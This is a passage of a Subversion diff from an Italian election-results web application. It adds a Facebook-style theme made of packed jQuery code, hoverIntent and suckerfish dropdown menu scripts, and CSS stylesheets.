a)G(a[j]&&a[j].1q==2p)D.P(a[j],H(){s.1p(3u(j)+"="+3u(7))});N s.1p(3u(j)+"="+3u(D.1D(a[j])?a[j]():a[j]));I s.6s("&").1o(/%20/g,"+")}});D.17.1l({1N:H(c,b){I c?7.2g({1Z:"1N",2h:"1N",1y:"1N"},c,b):7.1E(":1G").P(H(){7.V.18=7.5D||"";G(D.1g(7,"18")=="2F"){J a=D("<"+7.2j+" />").6P("1c");7.V.18=a.1g("18");G(7.V.18=="2F")7.V.18="3I";a.21()}}).3l()},1M:H(b,a){I b?7.2g({1Z:"1M",2h:"1M",1y:"1M"},b,a):7.1E(":4j").P(H(){7.5D=7.5D||D.1g(7,"18");7.V.18="2F"}).3l()},78:D.17.2m,2m:H(a,b){I D.1D(a)&&D.1D(b)?7.78.1w(7,19):a?7.2g({1Z:"2m",2h:"2m",1y:"2m"},a,b):7.P(H(){D(7)[D(7).3F(":1G")?"1N":"1M"]()})},9G:H(b,a){I 7.2g({1Z:"1N"},b,a)},9F:H(b,a){I 7.2g({1Z:"1M"},b,a)},9E:H(b,a){I 7.2g({1Z:"2m"},b,a)},9D:H(b,a){I 7.2g({1y:"1N"},b,a)},9M:H(b,a){I 7.2g({1y:"1M"},b,a)},9C:H(c,a,b){I 7.2g({1y:a},c,b)},2g:H(k,j,i,g){J h=D.77(j,i,g);I 7[h.36===Q?"P":"36"](H(){G(7.16!=1)I Q;J f=D.1l({},h),p,1G=D(7).3F(":1G"),46=7;R(p 1n k){G(k[p]=="1M"&&1G||k[p]=="1N"&&!1G)I f.1J.1k(7);G(p=="1Z"||p=="2h"){f.18=D.1g(7,"18");f.33=7.V.33}}G(f.33!=U)7.V.33="1G";f.45=D.1l({},k);D.P(k,H(c,a){J e=2B D.28(46,f,c);G(/2m|1N|1M/.11(a))e[a=="2m"?1G?"1N":"1M":a](k);N{J b=a.6r().1I(/^([+-]=)?([\\d+-.]+)(.*)$/),2b=e.1t(M)||0;G(b){J d=3d(b[2]),2M=b[3]||"2X";G(2M!="2X"){46.V[c]=(d||1)+2M;2b=((d||1)/e.1t(M))*2b;46.V[c]=2b+2M}G(b[1])d=((b[1]=="-="?-1:1)*d)+2b;e.3G(2b,d,2M)}N e.3G(2b,a,"")}});I M})},36:H(a,b){G(D.1D(a)||(a&&a.1q==2p)){b=a;a="28"}G(!a||(1j a=="23"&&!b))I A(7[0],a);I 7.P(H(){G(b.1q==2p)A(7,a,b);N{A(7,a).1p(b);G(A(7,a).K==1)b.1k(7)}})},9X:H(b,c){J a=D.3O;G(b)7.36([]);7.P(H(){R(J i=a.K-1;i>=0;i--)G(a[i].T==7){G(c)a[i](M);a.7n(i,1)}});G(!c)7.5A();I 7}});J A=H(b,c,a){G(b){c=c||"28";J q=D.L(b,c+"36");G(!q||a)q=D.L(b,c+"36",D.2d(a))}I q};D.17.5A=H(a){a=a||"28";I 7.P(H(){J q=A(7,a);q.4s();G(q.K)q[0].1k(7)})};D.1l({77:H(b,a,c){J d=b&&b.1q==a0?b:{1J:c||!c&&a||D.1D(b)&&b,2u:b,41:c&&a||a&&a.1q!=9t&&a};d.2u=(d.2u&&d.2u.1q==4L?d.2u:D.28.5K[d.2u])||D.28.5K.74;d.5M=d.1J;d.1J=H(){G(d.36!==Q)D(7).5A();G(D.1D(d.5M))d.5M.1k(7)};I d},41:{73:H(p,n,b,a){I b+a*p},5P:H(p,n,b,a){I((-29.9r(p*29.9q)/2)+0.5)*a+b}},3O:[],48:U,28:H(b,c,a){7.15=c;7.T=b;7.1i=a;G(!c.3Z)c.3Z={}}});D.28.44={4D:H(){G(7.15.2Y)7.15.2Y.1k(7.T,7.1z,7);(D.28.2Y[7.1i]||D.28.2Y.4w)(7);G(7.1i=="1Z"||7.1i=="2h")7.T.V.18="3I"},1t:H(a){G(7.T[7.1i]!=U&&7.T.V[7.1i]==U)I 7.T[7.1i];J r=3d(D.1g(7.T,7.1i,a));I r&&r>-9p?r:3d(D.2a(7.T,7.1i))||0},3G:H(c,b,d){7.5V=1z();7.2b=c;7.3l=b;7.2M=d||7.2M||"2X";7.1z=7.2b;7.2S=7.4N=0;7.4D();J e=7;H t(a){I e.2Y(a)}t.T=7.T;D.3O.1p(t);G(D.48==U){D.48=4I(H(){J a=D.3O;R(J i=0;i<a.K;i++)G(!a[i]())a.7n(i--,1);G(!a.K){7k(D.48);D.48=U}},13)}},1N:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1N=M;7.3G(0,7.1t());G(7.1i=="2h"||7.1i=="1Z")7.T.V[7.1i]="9m";D(7.T).1N()},1M:H(){7.15.3Z[7.1i]=D.1K(7.T.V,7.1i);7.15.1M=M;7.3G(7.1t(),0)},2Y:H(a){J t=1z();G(a||t>7.15.2u+7.5V){7.1z=7.3l;7.2S=7.4N=1;7.4D();7.15.45[7.1i]=M;J b=M;R(J i 1n 7.15.45)G(7.15.45[i]!==M)b=Q;G(b){G(7.15.18!=U){7.T.V.33=7.15.33;7.T.V.18=7.15.18;G(D.1g(7.T,"18")=="2F")7.T.V.18="3I"}G(7.15.1M)7.T.V.18="2F";G(7.15.1M||7.15.1N)R(J p 1n 7.15.45)D.1K(7.T.V,p,7.15.3Z[p])}G(b)7.15.1J.1k(7.T);I Q}N{J n=t-7.5V;7.4N=n/7.15.2u;7.2S=D.41[7.15.41||(D.41.5P?"5P":"73")](7.4N,n,0,1,7.15.2u);7.1z=7.2b+((7.3l-7.2b)*7.2S);7.4D()}I M}};D.1l(D.28,{5K:{9l:9j,9i:7e,74:9g},2Y:{2e:H(a){a.T.2e=a.1z},2c:H(a){a.T.2c=a.1z},1y:H(a){D.1K(a.T.V,"1y",a.1z)},4w:H(a){a.T.V[a.1i]=a.1z+a.2M}}});D.17.2i=H(){J b=0,1S=0,T=7[0],3q;G(T)ao(D.14){J d=T.1d,4a=T,1s=T.1s,1Q=T.2z,5U=2k&&3r(5B)<9c&&!/9a/i.11(v),1g=D.2a,3c=1g(T,"30")=="3c";G(T.7y){J c=T.7y();1e(c.1A+29.2f(1Q.1C.2e,1Q.1c.2e),c.1S+29.2f(1Q.1C.2c,1Q.1c.2c));1e(-1Q.1C.6b,-1Q.1C.6a)}N{1e(T.5X,T.5W);1B(1s){1e(1s.5X,1s.5W);G(42&&!/^t(98|d|h)$/i.11(1s.2j)||2k&&!5U)2C(1s);G(!3c&&1g(1s,"30")=="3c")3c=M;4a=/^1c$/i.11(1s.2j)?4a:1s;1s=1s.1s}1B(d&&d.2j&&!/^1c|2K$/i.11(d.2j)){G(!/^96|1T.*$/i.11(1g(d,"18")))1e(-d.2e,-d.2c);G(42&&1g(d,"33")!="4j")2C(d);d=d.1d}G((5U&&(3c||1g(4a,"30")=="5x"))||(42&&1g(4a,"30")!="5x"))1e(-1Q.1c.5X,-1Q.1c.5W);G(3c)1e(29.2f(1Q.1C.2e,1Q.1c.2e),29.2f(1Q.1C.2c,1Q.1c.2c))}3q={1S:1S,1A:b}}H 2C(a){1e(D.2a(a,"6V",M),D.2a(a,"6U",M))}H 1e(l,t){b+=3r(l,10)||0;1S+=3r(t,10)||0}I 3q};D.17.1l({30:H(){J a=0,1S=0,3q;G(7[0]){J b=7.1s(),2i=7.2i(),4c=/^1c|2K$/i.11(b[0].2j)?{1S:0,1A:0}:b.2i();2i.1S-=25(7,\'94\');2i.1A-=25(7,\'aF\');4c.1S+=25(b,\'6U\');4c.1A+=25(b,\'6V\');3q={1S:2i.1S-4c.1S,1A:2i.1A-4c.1A}}I 3q},1s:H(){J a=7[0].1s;1B(a&&(!/^1c|2K$/i.11(a.2j)&&D.1g(a,\'30\')==\'93\'))a=a.1s;I D(a)}});D.P([\'5e\',\'5G\'],H(i,b){J c=\'4y\'+b;D.17[c]=H(a){G(!7[0])I;I a!=12?7.P(H(){7==1b||7==S?1b.92(!i?a:D(1b).2e(),i?a:D(1b).2c()):7[c]=a}):7[0]==1b||7[0]==S?46[i?\'aI\':\'aJ\']||D.71&&S.1C[c]||S.1c[c]:7[0][c]}});D.P(["6N","4b"],H(i,b){J c=i?"5e":"5G",4f=i?"6k":"6i";D.17["5s"+b]=H(){I 7[b.3y()]()+25(7,"57"+c)+25(7,"57"+4f)};D.17["90"+b]=H(a){I 7["5s"+b]()+25(7,"2C"+c+"4b")+25(7,"2C"+4f+"4b")+(a?25(7,"6S"+c)+25(7,"6S"+4f):0)}})})();',62,669,'|||||||this|||||||||||||||||||||||||||||||||||if|function|return|var|length|data|true|else|type|each|false|for|document|elem|null|style|event||nodeName|||test|undefined||browser|options|nodeType|fn|display|arguments|url|window|body|parentNode|add|msie|css|indexOf|prop|typeof|call|extend|script|in|replace|push|constructor|text|offsetParent|cur|status|div|apply|firstChild|opacity|now|left|while|documentElement|isFunction|filter|className|hidden|handle|match|complete|attr|ret|hide|show|dataType|trigger|doc|split|top|table|try|catch|success|break|cache|height||remove|tbody|string|guid|num|global|ready|fx|Math|curCSS|start|scrollTop|makeArray|scrollLeft|max|animate|width|offset|tagName|safari|map|toggle||done|Array|find|toUpperCase|button|special|duration|id|copy|value|handler|ownerDocument|select|new|border|exec|stack|none|opera|nextSibling|pushStack|target|html|inArray|unit|xml|bind|GET|isReady|merge|pos|timeout|delete|one|selected|px|step|jsre|position|async|preventDefault|overflow|name|which|queue|removeChild|namespace|insertBefore|nth|removeData|fixed|parseFloat|error|readyState|multiFilter|createElement|rl|re|trim|end|_|param|first|get|results|parseInt|slice|childNodes|encodeURIComponent|append|events|elems|toLowerCase|json|readyList|setTimeout|grep|mouseenter|color|is|custom|getElementsByTagName|block|stopPropagation|addEventListener|callee|proxy|mouseleave|timers|defaultView|password|disabled|last|has|appendChild|form|domManip|props|ajax|orig|set|easing|mozilla|load|prototype|curAnim|self|charCode|timerId|object|offsetChild|Width|parentOffset|src|unbind|br|currentStyle|clean|float|visible|relatedTarget|previousSibling|handlers|isXMLDoc|on|setup|nodeIndex|unique|shift|javascript|child|RegExp|_default|deep|scroll|lastModified|teardown|setRequestHeader|timeStamp|update|empty|tr|getAttribute|innerHTML|setInterval|checked|fromElement|Number|jQuery|state|active|jsonp|accepts|application|dir|input|responseText|click|styleSheets|unload|not|lastToggle|outline|mouseout|getPropertyValue|mouseover|getComputedStyle|bindReady|String|padding|pageX|metaKey|keyCode|getWH|andSelf|clientX|Left|all|visibility|container|index|init|triggered|removeAttribute|classFilter|prevObject|submit|file|after|windowData|inner|client|globalEval|sibling|jquery|absolute|clone|wrapAll|dequeue|version|triggerHandler|oldblock|ctrlKey|createTextNode|Top|handleError|getResponseHeader|parsererror|speeds|checkbox|old|00|radio|swing|href|Modified|ifModified|lastChild|safari2|startTime|offsetTop|offsetLeft|username|location|ajaxSettings|getElementById|isSimple|values|selectedIndex|runtimeStyle|rsLeft|_load|loaded|DOMContentLoaded|clientTop|clientLeft|toElement|srcElement|val|pageY|POST|unshift|Bottom|clientY|Right|fix|exclusive|detachEvent|cloneNode|removeEventListener|swap|toString|join|attachEvent|eval|substr|head|parse|textarea|reset|image|zoom|odd|even|before|prepend|exclude|expr|quickClass|quickID|uuid|quickChild|continue|Height|textContent|appendTo|contents|open|margin|evalScript|borderTopWidth|borderLeftWidth|parent|httpData|setArray|CSS1Compat|compatMode|boxModel|cssFloat|linear|def|webkit|nodeValue|speed|_toggle|eq|100|replaceWith|304|concat|200|alpha|Last|httpNotModified|getAttributeNode|httpSuccess|clearInterval|abort|beforeSend|splice|styleFloat|throw|colgroup|XMLHttpRequest|ActiveXObject|scriptCharset|callback|fieldset|multiple|processData|getBoundingClientRect|contentType|link|ajaxSend|ajaxSuccess|ajaxError|col|ajaxComplete|ajaxStop|ajaxStart|serializeArray|notmodified|keypress|keydown|change|mouseup|mousedown|dblclick|focus|blur|stylesheet|hasClass|rel|doScroll|black|hover|solid|cancelBubble|returnValue|wheelDelta|view|round|shiftKey|resize|screenY|screenX|relatedNode|mousemove|prevValue|originalTarget|offsetHeight|keyup|newValue|offsetWidth|eventPhase|detail|currentTarget|cancelable|bubbles|attrName|attrChange|altKey|originalEvent|charAt|0n|substring|animated|header|noConflict|line|enabled|innerText|contains|only|weight|font|gt|lt|uFFFF|u0128|size|417|Boolean|Date|toggleClass|removeClass|addClass|removeAttr|replaceAll|insertAfter|prependTo|wrap|contentWindow|contentDocument|iframe|children|siblings|prevAll|wrapInner|nextAll|outer|prev|scrollTo|static|marginTop|next|inline|parents|able|cellSpacing|adobeair|cellspacing|522|maxLength|maxlength|readOnly|400|readonly|fast|600|class|slow|1px|htmlFor|reverse|10000|PI|cos|compatible|Function|setData|ie|ra|it|rv|getData|userAgent|navigator|fadeTo|fadeIn|slideToggle|slideUp|slideDown|ig|responseXML|content|1223|NaN|fadeOut|300|protocol|send|setAttribute|option|dataFilter|cssText|changed|be|Accept|stop|With|Requested|Object|can|GMT|property|1970|Jan|01|Thu|Since|If|Type|Content|XMLHTTP|th|Microsoft|td|onreadystatechange|onload|cap|charset|colg|host|tfoot|specified|with|1_|thead|leg|plain|attributes|opt|embed|urlencoded|www|area|hr|ajaxSetup|meta|post|getJSON|getScript|marginLeft|img|elements|pageYOffset|pageXOffset|abbr|serialize|pixelLeft'.split('|'),0,{}))
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-dd.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-dd.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-dd.js	(revision 44)
@@ -0,0 +1,5 @@
+$(function(){
+$("#nav>li").hover(
+    function(){$("ul",this).slideDown("slow");},
+    function(){$("ul",this).css({left:"-1px"}).slideUp("fast");});
+});
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi.js	(revision 44)
@@ -0,0 +1,5 @@
+$(function(){
+$("#nav>li").hoverIntent(
+    function(){$("ul",this).fadeIn("slow");},
+    function(){$("ul",this).css({left:"-1px"}).fadeOut("fast");});
+});
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi2.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi2.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/jquery-ddi2.js	(revision 44)
@@ -0,0 +1,8 @@
+$(function(){
+$("#nav>li").hoverIntent(
+    function(){$("ul",this).slideDown("slow");},
+    function(){$("ul",this).css({left:"-1px"}).slideUp('fast')});
+});
+
+
+
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/jquery.hoverIntent.minified.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/jquery.hoverIntent.minified.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/jquery.hoverIntent.minified.js	(revision 44)
@@ -0,0 +1,9 @@
+﻿/**
+* hoverIntent r5 // 2007.03.27 // jQuery 1.1.2+
+* <http://cherne.net/brian/resources/jquery.hoverIntent.html>
+* 
+* @param  f  onMouseOver function || An object with configuration options
+* @param  g  onMouseOut function  || Nothing (use configuration options object)
+* @author    Brian Cherne <brian@cherne.net>
+*/
+(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:250};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY;};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind("mousemove",track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev]);}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev]);};var handleHover=function(e){var p=(e.type=="mouseover"?e.fromElement:e.toElement)||e.relatedTarget;while(p&&p!=this){try{p=p.parentNode;}catch(e){p=this;}}if(p==this){return false;}var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);}if(e.type=="mouseover"){pX=ev.pageX;pY=ev.pageY;$(ob).bind("mousemove",track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob);},cfg.interval);}}else{$(ob).unbind("mousemove",track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob);},cfg.timeout);}}};return this.mouseover(handleHover).mouseout(handleHover);};})(jQuery);
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/menu-dd.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/menu-dd.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/menu-dd.css	(revision 44)
@@ -0,0 +1,38 @@
+/*CSS principale per il menu*/
+
+ul#nav{font:  Verdena,Tahoma,sans-serif}
+ul#nav,ul#nav li,ul#nav ul,ul#nav ul li{margin:0;padding:0;list-style-type:none}
+ul#nav{height:26px;line-height:25px;margin-left:5px;
+    background: #3B5998;color: #fff}
+ul#nav a{display:block;padding: 0 15px;text-decoration: none; color:#FFF}
+ul#nav li{float: left;position: relative}
+ul#nav li li{float: none;line-height: 22px;
+    display:block !important;display: inline; /*IE*/}
+ul#nav ul{position: absolute;top: 23px;left: -9999px;
+    width: 20em;background: #fff;color: #3B5998}
+ul#nav ul{padding: 7px 0;border: 1px solid #3B5998}
+ul#nav li li a{height:22px}   /*fix per IE */
+ul#nav ul,ul#nav li li a{background-color: #FFF;color: #3B5998}
+ul#nav li:hover,ul#nav a:hover{background-color: #5C75AA;color: #FFF}
+ul#nav li:hover ul,ul#nav li.sfhover ul{left: -1px;z-index: 100}
+
+/*regole per separatore e le icone */
+
+ul#nav li.sep{height: 34px;background: #fff}
+ul#nav li.sep span{display: block;height: 1px;overflow: hidden;
+    margin: 6px 5px 0;background: #CCC}
+ul#nav li li.icon a{padding-left: 24px}
+ul#nav li li.settings a{background: url(icon_settings.gif) no-repeat 3px 3px}
+ul#nav li li.privacy a{background: url(icon_padlock.gif) no-repeat 3px 3px}
+ul#nav li li.voto a{background: url(icon_voto.gif) no-repeat 3px 3px}
+ul#nav li li.numeri a{background: url(icon_numeri.gif) no-repeat 3px 3px}
+ul#nav li li.servizi a{background: url(icon_servizi.gif) no-repeat 3px 3px}
+ul#nav li li.votanti a{background: url(icon_votanti.gif) no-repeat 3px 3px}
+ul#nav li li.affluenze a{background: url(icon_affluenze.gif) no-repeat 3px 3px}
+ul#nav li li.matita a{background: url(icon_matita.gif) no-repeat 3px 3px}
+ul#nav li li.candi a{background: url(icon_candi.gif) no-repeat 3px 3px}
+ul#nav li li.consi a{background: url(icon_consi.gif) no-repeat 3px 3px}
+ul#nav li li.liste a{background: url(icon_liste.gif) no-repeat 3px 3px}
+ul#nav li li.graf a{background: url(icon_graf.gif) no-repeat 3px 3px}
+ul#nav li li.stat a{background: url(icon_stat.gif) no-repeat 3px 3px}
+ul#nav li li.dontd a{background: url(icon_dontd.gif) no-repeat 3px 3px}
Index: /trunk/elezioni/trunk/client/temi/facebook/menu/suckerfish.js
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/menu/suckerfish.js	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/menu/suckerfish.js	(revision 44)
@@ -0,0 +1,14 @@
+//son of a suckerfish dropdown - http://htmldog.com/articles/suckerfish/dropdowns/
+
+sfHover = function() {
+  var sfEls = document.getElementById("nav").getElementsByTagName("LI");
+  for (var i=0; i<sfEls.length; i++) {
+    sfEls[i].onmouseover=function() {
+      this.className+=" sfhover";
+    }
+    sfEls[i].onmouseout=function() {
+      this.className=this.className.replace(new RegExp(" sfhover\\b"), "");
+    }
+  }
+}
+if (window.attachEvent) window.attachEvent("onload", sfHover);
Index: /trunk/elezioni/trunk/client/temi/facebook/style.css
===================================================================
--- /trunk/elezioni/trunk/client/temi/facebook/style.css	(revision 44)
+++ /trunk/elezioni/trunk/client/temi/facebook/style.css	(revision 44)
@@ -0,0 +1,535 @@
+/**************** 
+style css for eleonline
+http://www.elenoline.it
+****************/
+
+body {
+/*background-image:url(images/body_bg.jpg); background-repeat:repeat-x; */
+	font: normal small Arial, Helvetica, sans-serif;
+	font-size:13px;
+	/*text-align:justify;*/
+	color: #000000;
+	margin-top:10px;
+	margin-left:0px;
+	margin-right:0px;
+	margin-bottom:0px;
+}
+
+/* facebook block */
+/* titolo blocco */
+
+h5 { 
+	font-weight:bold; 
+	color:#333333; 
+	height:24px; 
+	background:#eceff5 url(./menu/icon_pencil.gif) right no-repeat; /** Change This URL **/ 
+	border-top:1px solid #94a3c4; 
+	border-right:1px solid #d8dfea; 
+	font-size:11px; 
+	line-height:22px; 
+	padding:0 8px; 
+} 
+ 
+.block { 
+	border-right:1px solid #d8dfea; 
+	padding:10px; 
+	font-size:11px; 
+} 
+ 
+.block .title { 
+	color:#808080; 
+	margin:0 0 1px 0; 
+} 
+ 
+.block .info { 
+	color:#000000; 
+	margin:0 0 3px 0; 
+} 
+ 
+.block .avatar { 
+	margin:0 7px 7px 0; 
+} 
+ 
+.block ul { 
+	margin:0; 
+	padding:0; 
+} 
+ 
+.block ul li { 
+	list-style:none; 
+	background:url(http://www.nyssajbrown.net/da/facebookcss/Original/arrow.gif) top left no-repeat; /** Change This URL **/ 
+	padding:0 0 0 15px; 
+} 
+ 
+.block a { 
+	color:#3b5998; 
+} 
+ 
+.block a:hover { 
+	text-decoration:underline !important; 
+} 
+ 
+.block p { 
+	margin:0 0 5px 0; 
+}
+
+/* fine fb block */
+
+.main{
+background-color:#A8C4E1;
+}
+.tag {
+	margin: 0;
+	padding:45px 20px 10px 10px;
+	text-transform: uppercase;
+	font-size:16px;
+	font-weight:bold;
+	color:#ffffff;
+    text-decoration:none;
+}
+a{
+color:#5D81A6;
+
+text-decoration:none;
+}
+a:hover{
+/* color:#000000;*/
+text-decoration: underline;
+
+}
+
+/* usate per blocco */
+
+.sidebar {
+	
+	text-align:left;
+	margin-top:0px;
+	width: 200px;	
+	border: none;
+	padding: 0px;
+	
+}
+.sidebar a{
+color:#5D81A6;
+}
+.sidebar a:hover{
+text-decoration: underline;
+/*color:#FFFFFF;*/
+}
+.sidebar a:visited{
+color:#5D81A6;
+}
+
+
+.td-149 {
+	/*background-image:url(images/box_bg.jpg); background-repeat:repeat-x;*/
+	text-align:left;
+	margin-top:0px;
+	/*margin: 0px 0 0 0px;*/
+	width: 200px;	
+	border: none;
+	/*background-color:#A8C4E1;*/
+	/*background-color: #d2d2d2;*/
+	padding: 0px;
+}
+.td-149 a{
+color:#5D81A6;
+}
+.td-149 a:hover{
+text-decoration: underline;
+/*color:#FFFFFF;*/
+}
+.td-149 a:visited{
+color:#5D81A6;
+}
+.welcome
+{font-size:35px;
+color:#686868;
+}
+/* contenitore */
+
+div#container{
+    width: 999px;
+    margin: 0 auto;   /*centra negli altri browsers*/
+    /*text-align: left;  */ /*ripristina l' allineamento*/
+    }
+table {
+	margin-right: auto;
+	margin-left: auto;
+	text-align: left;
+	margin-top: 0px;
+	
+	
+	
+}
+td {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	margin-top: 0px;
+	margin: 0;
+}
+
+hr {
+	color: #000000;
+	background-color: #FFFFFF;
+	border-bottom: 1px dotted #CCCCCC;
+}
+form {
+	
+	font-size: 12px;
+	color: #000066;
+	text-decoration: none;
+	margin-right: 0px;
+	margin-left: 0px;
+	margin-top: 0px;
+	margin-bottom: 0px;
+	width: 100%;
+}
+p {
+	font-family: Verdana, Arial, Helvetica, sans-serif;
+	font-size: 12px;
+	padding-right: 8px;
+	padding-bottom: 0px;
+	padding-left: 8px;
+	padding-top: 0px;
+	margin: 2px 2px 4px;
+}
+
+h1 {
+	font-size: 16px;
+	font-weight: bold;
+	color: #222266;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #222266;
+	margin-top: 6px;
+	margin-bottom: 8px;
+	padding-right: 0px;
+	padding-left: 0px;
+}
+h2 {
+	font-size: 14px;
+	font-weight: bold;
+	color: #5D81A6;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 9px;
+	margin-bottom: 2px;
+	padding-right: 1px;
+	padding-left: 4px;
+}
+
+h4 {
+	font-size: 14px;
+	color: #003366;
+	text-decoration: none;
+	background-position: center;
+	bottom: 9px;
+	margin: 20px;
+	text-align: center;
+	border: 1px dotted #666666;
+	padding: 2px;
+	width: auto;
+	background-color: #EEEFEF;
+	font-variant: small-caps;
+}
+/*
+h5 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #000000;
+	text-decoration: none;
+	border-bottom-width: 1px;
+	border-bottom-style: dotted;
+	border-bottom-color: #CCCCCC;
+	margin-top: 0px;
+	margin-bottom: 4px;
+	padding-right: 1px;
+	padding-left: 4px;
+	background-color: #ffffff;
+	background-position: center;
+	text-align: center;
+}
+*/
+h6 {
+	font-size: 12px;
+	font-weight: bold;
+	color: #333333;
+	text-decoration: none;
+	border-bottom-style: dotted;
+	padding-left: 4px;
+	background-position: center;
+	border-bottom-color: #EEEEEE;
+	border-bottom-width: 1px;
+	padding-top: 3px;
+	padding-right: 2px;
+	padding-bottom: 0px;
+	bottom: 9px;
+	margin-top: 1px;
+	margin-bottom: 3px;
+}
+
+/* classe tratteggiata usata in molti td */
+
+
+.modulo {
+	text-decoration: none;
+	border: 1px solid #666699;
+	font-size: 10px;
+}
+
+.modulo-button {
+	color: #663366;
+	text-decoration: none;
+	background-color: #FFFFEE;
+	border: 1px solid #660033;
+	width: 50%;
+	text-align: center;
+	font-size: 10px;
+	padding: 3px;
+}
+
+
+.sitebar {
+	background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+	font-size: 12px;
+	border: none;
+	color: #ffffff;
+}
+
+
+
+/* tavole */
+.table-main {
+	border: 1px solid #DEDEDC;
+	font-size: 12px;
+	background-position: center top;
+	padding: 0px;
+	color: #666666;
+	text-align:center;
+	width: 950px;
+	margin:0px auto;
+	
+}
+
+
+/* numero e simbolo liste */
+
+.td-5 {
+	
+	margin: 0px 0 0 0px;
+	width: 5%;	
+	border: none;
+        background-color:#cccccc;
+	color:#000000;
+	
+	padding: 0px;
+        FONT-SIZE: 12px; 
+        FONT-FAMILY: Verdana, Helvetica;
+}
+	
+.td-130c {
+	float: right;
+	text-align:left;
+	margin: 0px 0 0 1px;
+	width: 130px;	
+	border: none;
+	
+	padding: 0px;
+}		
+	
+/* sinistra */
+div#sx{
+    width: 730px;
+    float: left;
+    text-align: center; 
+     
+    }
+/* destra */
+div#dx{
+    width: 149px;
+    float: right;
+    text-align: left;   
+    }
+
+
+/* flash */
+div#flash{
+    width: 410px;
+    float: left;
+    text-align: left;   
+    }
+
+
+
+
+
+
+/* immagini bordo */
+
+.image {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+}		
+
+.stemma {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:50px;
+	height:50px;
+}		
+
+.stemmapic {
+	/*float: center;*/
+	border: none;
+	margin: 0px;
+	padding: 0px;
+	width:30px;
+	height:30px;
+}		
+
+
+.noblocco {
+border: 0px;
+margin-right:0px;
+margin-left:130px;
+text-align: right;
+vertical-align: middle;
+width:18px;
+height:18px;
+}
+
+
+.nobordo {
+border: 0px;
+text-align: center;
+vertical-align: middle;
+}
+
+.bordo {
+border: 1px solid #ff0000;
+text-align: left;
+vertical-align: middle;
+
+}
+/******************** font e backcolor******************************/
+.blu 	{
+	background: none;
+	font-weight: bold; 
+	color: #003366; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+
+.red 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica
+}
+
+.redbig 	{
+	background: none; 
+	color: #ff0000; 
+	font-size: 16px; 
+	font-family: Verdana, Helvetica
+}
+
+.bgw	{
+	background: #ffffff; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+}
+/* diventa celeste */
+
+.bggray 	{
+	background-color:#cccccc;
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	color: #000000;
+}
+
+.bggray2 	{
+	background: #cccccc; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: center;
+	}
+
+.bggray3 	{
+	background: #dce9f9;  
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+	}
+
+.normale {
+	background: none; 
+	color: #000000; 
+	font-size: 12px; 
+	font-family: Verdana, Helvetica;
+	text-align: left;
+}
+.piccolo {
+	BACKGROUND: none; 
+	COLOR: #cccccc; 
+	FONT-SIZE: 10px; 
+	FONT-WEIGHT: normal; 
+	FONT-FAMILY: Verdana, Helvetica; 
+	TEXT-DECORATION: none}
+/**********************************************************************BOTTONI W3C*****************************************************/
+
+.w3cbutton3 {
+background-image:url(images/box_bg.jpg); background-repeat:repeat-x;
+  margin: 0px 0px 0px 5px;
+  width: 95px;
+  border: 1px solid #6A6A6A;
+  font-family: helvetica,arial,sans-serif;
+  font-size: 10px;
+  float: left;
+}
+
+.w3cbutton3 a {
+  display: block;
+  width: 100%;
+}
+
+.w3cbutton3 a:link, .w3cbutton3 a:visited {
+  background-color: #8CC8C7;
+  color: #2A290B;
+  text-decoration: none;
+}
+
+.w3cbutton3 a:hover {
